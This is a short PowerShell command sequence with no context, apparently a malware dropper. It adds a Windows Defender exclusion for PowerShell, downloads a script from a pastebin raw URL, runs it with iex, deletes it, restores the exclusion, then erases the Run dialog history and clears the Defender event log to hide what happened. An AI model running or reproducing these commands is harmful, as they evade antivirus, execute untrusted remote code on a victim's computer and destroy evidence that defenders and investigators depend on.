Add-MpPreference -ExclusionProcess "powershell.exe" Start-Sleep -Seconds 1 $e=$env:TMP+"\ex2.ps1" iwr https://pastebin.com/raw/HVvwNDyr -OutFile $e iex $e rm $e Remove-MpPreference -ExclusionProcess "powershell.exe" Start-Sleep -Seconds 1 rm "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Recurse -Force; wevtutil cl "Microsoft-Windows-Windows Defender/Operational"